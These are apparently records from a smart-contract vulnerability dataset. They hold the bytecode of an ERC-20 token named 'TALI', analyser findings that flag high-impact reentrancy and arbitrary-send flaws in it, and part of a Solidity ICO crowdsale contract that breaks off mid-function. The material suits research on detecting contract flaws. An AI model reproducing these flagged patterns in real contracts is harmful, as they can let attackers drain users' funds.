3ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a1d30610e12565b600080610a28610fb6565b426040518863ffffffff1660e01b8152600401610a4a96959493929190612e45565b6060604051808303818588803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a9c9190612adc565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550681b1ae4d6e2ef5000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b9f929190612e1c565b602060405180830381600087803b158015610bb957600080fd5b505af1158015610bcd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf19190612a8a565b5050565b60006009905090565b610c06611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8a90612fc3565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cb8611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3c90612fc3565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610de1611284565b73ffffffffffffffffffffffffffffffffffffffff1614610e0157600080fd5b6000479050610e0f81611c7a565b50565b6000610e5c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d75565b9050919050565b610e6b611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eef90612fc3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f54414c4900000000000000000000000000000000000000000000000000000000815250905090565b6000611030611029611284565b8484611457565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661107b611284565b73ffffffffffffffffffffffffffffffffffffffff161461109b57600080fd5b60006110a630610e12565b90506110b181611de3565b50565b6110bc611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612fc3565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612f83565b60405180910390fd5b6111bb60646111ad83683635c9adc5dea000006120dd90919063ffffffff16565b61215890919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111f29190613063565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390613023565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390612f43565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144a9190613063565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90613003565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e90612ee3565b60405180910390fd5b6000811161157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190612fe3565b60405180910390fd5b611582610fb6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f057506115c0610fb6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5357600f60179054906101000a900460ff1615611823573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cc5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117265750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182257600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176c611284565b73ffffffffffffffffffffffffffffffffffffffff1614806117e25750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117ca611284565b73ffffffffffffffffffffffffffffffffffffffff16145b611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890613043565b60405180910390fd5b5b5b60105481111561183257600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d65750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118df57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561198a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f85750600f60179054906101000a900460ff165b15611a995742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4857600080fd5b601e42611a559190613199565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa430610e12565b9050600f60159054906101000a900460ff16158015611b115750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b295750600f60169054906101000a900460ff165b15611b5157611b3781611de3565b60004790506000811115611b4f57611b4e47611c7a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bfa5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0457600090505b611c10848484846121a2565b50505050565b6000838311158290611c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c559190612ec1565b60405180910390fd5b5060008385611c6d919061327a565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cca60028461215890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cf5573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d4660028461215890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d71573d6000803e3d6000fd5b5050565b6000600654821115611dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db390612f23565b60405180910390fd5b6000611dc66121cf565b9050611ddb818461215890919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e41577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e6f5781602001602082028036833780820191505090505b5090503081600081518110611ead577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4f57600080fd5b505afa158015611f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f879190612930565b81600181518110611fc1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128c565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208c95949392919061307e565b600060405180830381600087803b1580156120a657600080fd5b505af11580156120ba573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120f05760009050612152565b600082846120fe9190613220565b905082848261210d91906131ef565b1461214d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214490612fa3565b60405180910390fd5b809150505b92915050565b600061219a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121fa565b905092915050565b806121b0576121af61225d565b5b6121bb84848461228e565b806121c9576121c8612459565b5b50505050565b60008060006121dc61246b565b915091506121f3818361215890919063ffffffff16565b9250505090565b60008083118290612241576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122389190612ec1565b60405180910390fd5b506000838561225091906131ef565b9050809150509392505050565b600060085414801561227157506000600954145b1561227b5761228c565b600060088190555060006009819055505b565b6000806000806000806122a0876124cd565b9550955095509550955095506122fe86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123df816125dd565b6123e9848361269a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124469190613063565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124a1683635c9adc5dea0000060065461215890919063ffffffff16565b8210156124c057600654683635c9adc5dea000009350935050506124c9565b81819350935050505b9091565b60008060008060008060008060006124ea8a6008546009546126d4565b92509250925060006124fa6121cf565b9050600080600061250d8e87878761276a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061257783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c16565b905092915050565b600080828461258e9190613199565b9050838110156125d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ca90612f63565b60405180910390fd5b8091505092915050565b60006125e76121cf565b905060006125fe82846120dd90919063ffffffff16565b905061265281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126af8260065461253590919063ffffffff16565b6006819055506126ca8160075461257f90919063ffffffff16565b6007819055505050565b60008060008061270060646126f2888a6120dd90919063ffffffff16565b61215890919063ffffffff16565b9050600061272a606461271c888b6120dd90919063ffffffff16565b61215890919063ffffffff16565b9050600061275382612745858c61253590919063ffffffff16565b61253590919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061278385896120dd90919063ffffffff16565b9050600061279a86896120dd90919063ffffffff16565b905060006127b187896120dd90919063ffffffff16565b905060006127da826127cc858761253590919063ffffffff16565b61253590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061280661280184613118565b6130f3565b9050808382526020820190508285602086028201111561282557600080fd5b60005b85811015612855578161283b888261285f565b845260208401935060208301925050600181019050612828565b5050509392505050565b60008135905061286e81613756565b92915050565b60008151905061288381613756565b92915050565b600082601f83011261289a57600080fd5b81356128aa8482602086016127f3565b91505092915050565b6000813590506128c28161376d565b92915050565b6000815190506128d78161376d565b92915050565b6000813590506128ec81613784565b92915050565b60008151905061290181613784565b92915050565b60006020828403121561291957600080fd5b60006129278482850161285f565b91505092915050565b60006020828403121561294257600080fd5b600061295084828501612874565b91505092915050565b6000806040838503121561296c57600080fd5b600061297a8582860161285f565b925050602061298b8582860161285f565b9150509250929050565b6000806000606084860312156129aa57600080fd5b60006129b88682870161285f565b93505060206129c98682870161285f565b92505060406129da868287016128dd565b9150509250925092565b600080604083850312156129f757600080fd5b6000612a058582860161285f565b9250506020612a16858286016128dd565b9150509250929050565b600060208284031215612a3257600080fd5b600082013567ffffffffffffffff811115612a4c57600080fd5b612a5884828501612889565b91505092915050565b600060208284031215612a7357600080fd5b6000612a81848285016128b3565b91505092915050565b600060208284031215612a9c57600080fd5b6000612aaa848285016128c8565b91505092915050565b600060208284031215612ac557600080fd5b6000612ad3848285016128dd565b91505092915050565b600080600060608486031215612af157600080fd5b6000612aff868287016128f2565b9350506020612b10868287016128f2565b9250506040612b21868287016128f2565b9150509250925092565b6000612b378383612b43565b60208301905092915050565b612b4c816132ae565b82525050565b612b5b816132ae565b82525050565b6000612b6c82613154565b612b768185613177565b9350612b8183613144565b8060005b83811015612bb2578151612b998882612b2b565b9750612ba48361316a565b925050600181019050612b85565b5085935050505092915050565b612bc8816132c0565b82525050565b612bd781613303565b82525050565b6000612be88261315f565b612bf28185613188565b9350612c02818560208601613315565b612c0b8161344f565b840191505092915050565b6000612c23602383613188565b9150612c2e82613460565b604082019050919050565b6000612c46601a83613188565b9150612c51826134af565b602082019050919050565b6000612c69602a83613188565b9150612c74826134d8565b604082019050919050565b6000612c8c602283613188565b9150612c9782613527565b604082019050919050565b6000612caf601b83613188565b9150612cba82613576565b602082019050919050565b6000612cd2601d83613188565b9150612cdd8261359f565b602082019050919050565b6000612cf5602183613188565b9150612d00826135c8565b604082019050919050565b6000612d18602083613188565b9150612d2382613617565b602082019050919050565b6000612d3b602983613188565b9150612d4682613640565b604082019050919050565b6000612d5e602583613188565b9150612d698261368f565b604082019050919050565b6000612d81602483613188565b9150612d8c826136de565b604082019050919050565b6000612da4601183613188565b9150612daf8261372d565b602082019050919050565b612dc3816132ec565b82525050565b612dd2816132f6565b82525050565b6000602082019050612ded6000830184612b52565b92915050565b6000604082019050612e086000830185612b52565b612e156020830184612b52565b9392505050565b6000604082019050612e316000830185612b52565b612e3e6020830184612dba565b9392505050565b600060c082019050612e5a6000830189612b52565b612e676020830188612dba565b612e746040830187612bce565b612e816060830186612bce565b612e8e6080830185612b52565b612e9b60a0830184612dba565b979650505050505050565b6000602082019050612ebb6000830184612bbf565b92915050565b60006020820190508181036000830152612edb8184612bdd565b905092915050565b60006020820190508181036000830152612efc81612c16565b9050919050565b60006020820190508181036000830152612f1c81612c39565b9050919050565b60006020820190508181036000830152612f3c81612c5c565b9050919050565b60006020820190508181036000830152612f5c81612c7f565b9050919050565b60006020820190508181036000830152612f7c81612ca2565b9050919050565b60006020820190508181036000830152612f9c81612cc5565b9050919050565b60006020820190508181036000830152612fbc81612ce8565b9050919050565b60006020820190508181036000830152612fdc81612d0b565b9050919050565b60006020820190508181036000830152612ffc81612d2e565b9050919050565b6000602082019050818103600083015261301c81612d51565b9050919050565b6000602082019050818103600083015261303c81612d74565b9050919050565b6000602082019050818103600083015261305c81612d97565b9050919050565b60006020820190506130786000830184612dba565b92915050565b600060a0820190506130936000830188612dba565b6130a06020830187612bce565b81810360408301526130b28186612b61565b90506130c16060830185612b52565b6130ce6080830184612dba565b9695505050505050565b60006020820190506130ed6000830184612dc9565b92915050565b60006130fd61310e565b90506131098282613348565b919050565b6000604051905090565b600067ffffffffffffffff82111561313357613132613420565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131a4826132ec565b91506131af836132ec565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131e4576131e36133c2565b5b828201905092915050565b60006131fa826132ec565b9150613205836132ec565b925082613215576132146133f1565b5b828204905092915050565b600061322b826132ec565b9150613236836132ec565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561326f5761326e6133c2565b5b828202905092915050565b6000613285826132ec565b9150613290836132ec565b9250828210156132a3576132a26133c2565b5b828203905092915050565b60006132b9826132cc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061330e826132ec565b9050919050565b60005b83811015613333578082015181840152602081019050613318565b83811115613342576000848401525b50505050565b6133518261344f565b810181811067ffffffffffffffff821117156133705761336f613420565b5b80604052505050565b6000613384826132ec565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133b7576133b66133c2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375f816132ae565b811461376a57600080fd5b50565b613776816132c0565b811461378157600080fd5b50565b61378d816132ec565b811461379857600080fd5b5056fe4d61736b6c65737354616c6962616e207c20742e6d652f6d61736b6c65737374616c6962616e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220155c85ed47eaa07f513a70aeddf606dff4679b89b64cc22817cffd5aaf3d16f864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,542 |
0x0bee1b7287969e1e8afb50eb587e93217ffab3a3
|
pragma solidity ^0.4.18;
/**
* @title ICO CONTRACT
* @dev ERC-20 Token Standard Complian
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
// The token being sold
token public token_reward;
// start and end timestamps where investments are allowed (both inclusive
uint256 public start_time = now; //for testing
//uint256 public start_time = 1517846400; //02/05/2018 @ 4:00pm (UTC) or 5 PM (UTC + 1)
uint256 public end_Time = 1524355200; // 04/22/2018 @ 12:00am (UTC)
uint256 public phase_1_remaining_tokens = 50000000 * (10 ** uint256(8));
uint256 public phase_2_remaining_tokens = 50000000 * (10 ** uint256(8));
uint256 public phase_3_remaining_tokens = 50000000 * (10 ** uint256(8));
uint256 public phase_4_remaining_tokens = 50000000 * (10 ** uint256(8));
uint256 public phase_5_remaining_tokens = 50000000 * (10 ** uint256(8));
uint256 public phase_1_bonus = 40;
uint256 public phase_2_bonus = 20;
uint256 public phase_3_bonus = 15;
uint256 public phase_4_bonus = 10;
uint256 public phase_5_bonus = 5;
uint256 public token_price = 2;// 2 cents
// address where funds are collected
address public wallet;
// Ether to $ price
uint256 public eth_to_usd = 1000;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
// rate change event
event EthToUsdChanged(address indexed owner, uint256 old_eth_to_usd, uint256 new_eth_to_usd);
// constructor
function Crowdsale(address tokenContractAddress) public{
wallet = 0x1aC024482b91fa9AaF22450Ff60680BAd60bF8D3;//wallet where ETH will be transferred
token_reward = token(tokenContractAddress);
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function getRate() constant public returns (uint256){
return eth_to_usd.mul(100).div(token_price);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= start_time && now <= end_Time;
bool allPhaseFinished = phase_5_remaining_tokens > 0;
bool nonZeroPurchase = msg.value != 0;
bool minPurchase = eth_to_usd*msg.value >= 100; // minimum purchase $100
return withinPeriod && nonZeroPurchase && allPhaseFinished && minPurchase;
}
// @return true if the admin can send tokens manually
function validPurchaseForManual() internal constant returns (bool) {
bool withinPeriod = now >= start_time && now <= end_Time;
bool allPhaseFinished = phase_5_remaining_tokens > 0;
return withinPeriod && allPhaseFinished;
}
// check token availibility for current phase and max allowed token balance
function checkAndUpdateTokenForManual(uint256 _tokens) internal returns (bool){
if(phase_1_remaining_tokens > 0){
if(_tokens > phase_1_remaining_tokens){
uint256 tokens_from_phase_2 = _tokens.sub(phase_1_remaining_tokens);
phase_1_remaining_tokens = 0;
phase_2_remaining_tokens = phase_2_remaining_tokens.sub(tokens_from_phase_2);
}else{
phase_1_remaining_tokens = phase_1_remaining_tokens.sub(_tokens);
}
return true;
}else if(phase_2_remaining_tokens > 0){
if(_tokens > phase_2_remaining_tokens){
uint256 tokens_from_phase_3 = _tokens.sub(phase_2_remaining_tokens);
phase_2_remaining_tokens = 0;
phase_3_remaining_tokens = phase_3_remaining_tokens.sub(tokens_from_phase_3);
}else{
phase_2_remaining_tokens = phase_2_remaining_tokens.sub(_tokens);
}
return true;
}else if(phase_3_remaining_tokens > 0){
if(_tokens > phase_3_remaining_tokens){
uint256 tokens_from_phase_4 = _tokens.sub(phase_3_remaining_tokens);
phase_3_remaining_tokens = 0;
phase_4_remaining_tokens = phase_4_remaining_tokens.sub(tokens_from_phase_4);
}else{
phase_3_remaining_tokens = phase_3_remaining_tokens.sub(_tokens);
}
return true;
}else if(phase_4_remaining_tokens > 0){
if(_tokens > phase_4_remaining_tokens){
uint256 tokens_from_phase_5 = _tokens.sub(phase_4_remaining_tokens);
phase_4_remaining_tokens = 0;
phase_5_remaining_tokens = phase_5_remaining_tokens.sub(tokens_from_phase_5);
}else{
phase_4_remaining_tokens = phase_4_remaining_tokens.sub(_tokens);
}
return true;
}else if(phase_5_remaining_tokens > 0){
if(_tokens > phase_5_remaining_tokens){
return false;
}else{
phase_5_remaining_tokens = phase_5_remaining_tokens.sub(_tokens);
}
}else{
return false;
}
}
// function to transfer token manually
function transferManually(uint256 _tokens, address to_address) onlyOwner public returns (bool){
require(to_address != 0x0);
require(validPurchaseForManual());
require(checkAndUpdateTokenForManual(_tokens));
token_reward.transfer(to_address, _tokens);
return true;
}
// check token availibility for current phase and max allowed token balance
function transferIfTokenAvailable(uint256 _tokens, uint256 _weiAmount, address _beneficiary) internal returns (bool){
uint256 total_token_to_transfer = 0;
uint256 bonus = 0;
if(phase_1_remaining_tokens > 0){
if(_tokens > phase_1_remaining_tokens){
uint256 tokens_from_phase_2 = _tokens.sub(phase_1_remaining_tokens);
bonus = (phase_1_remaining_tokens.mul(phase_1_bonus).div(100)).add(tokens_from_phase_2.mul(phase_2_bonus).div(100));
phase_1_remaining_tokens = 0;
phase_2_remaining_tokens = phase_2_remaining_tokens.sub(tokens_from_phase_2);
}else{
phase_1_remaining_tokens = phase_1_remaining_tokens.sub(_tokens);
bonus = _tokens.mul(phase_1_bonus).div(100);
}
total_token_to_transfer = _tokens + bonus;
}else if(phase_2_remaining_tokens > 0){
if(_tokens > phase_2_remaining_tokens){
uint256 tokens_from_phase_3 = _tokens.sub(phase_2_remaining_tokens);
bonus = (phase_2_remaining_tokens.mul(phase_2_bonus).div(100)).add(tokens_from_phase_3.mul(phase_3_bonus).div(100));
phase_2_remaining_tokens = 0;
phase_3_remaining_tokens = phase_3_remaining_tokens.sub(tokens_from_phase_3);
}else{
phase_2_remaining_tokens = phase_2_remaining_tokens.sub(_tokens);
bonus = _tokens.mul(phase_2_bonus).div(100);
}
total_token_to_transfer = _tokens + bonus;
}else if(phase_3_remaining_tokens > 0){
if(_tokens > phase_3_remaining_tokens){
uint256 tokens_from_phase_4 = _tokens.sub(phase_3_remaining_tokens);
bonus = (phase_3_remaining_tokens.mul(phase_3_bonus).div(100)).add(tokens_from_phase_4.mul(phase_4_bonus).div(100));
phase_3_remaining_tokens = 0;
phase_4_remaining_tokens = phase_4_remaining_tokens.sub(tokens_from_phase_4);
}else{
phase_3_remaining_tokens = phase_3_remaining_tokens.sub(_tokens);
bonus = _tokens.mul(phase_3_bonus).div(100);
}
total_token_to_transfer = _tokens + bonus;
}else if(phase_4_remaining_tokens > 0){
if(_tokens > phase_4_remaining_tokens){
uint256 tokens_from_phase_5 = _tokens.sub(phase_4_remaining_tokens);
bonus = (phase_4_remaining_tokens.mul(phase_4_bonus).div(100)).add(tokens_from_phase_5.mul(phase_5_bonus).div(100));
phase_4_remaining_tokens = 0;
phase_5_remaining_tokens = phase_5_remaining_tokens.sub(tokens_from_phase_5);
}else{
phase_4_remaining_tokens = phase_4_remaining_tokens.sub(_tokens);
bonus = _tokens.mul(phase_4_bonus).div(100);
}
total_token_to_transfer = _tokens + bonus;
}else if(phase_5_remaining_tokens > 0){
if(_tokens > phase_5_remaining_tokens){
total_token_to_transfer = 0;
}else{
phase_5_remaining_tokens = phase_5_remaining_tokens.sub(_tokens);
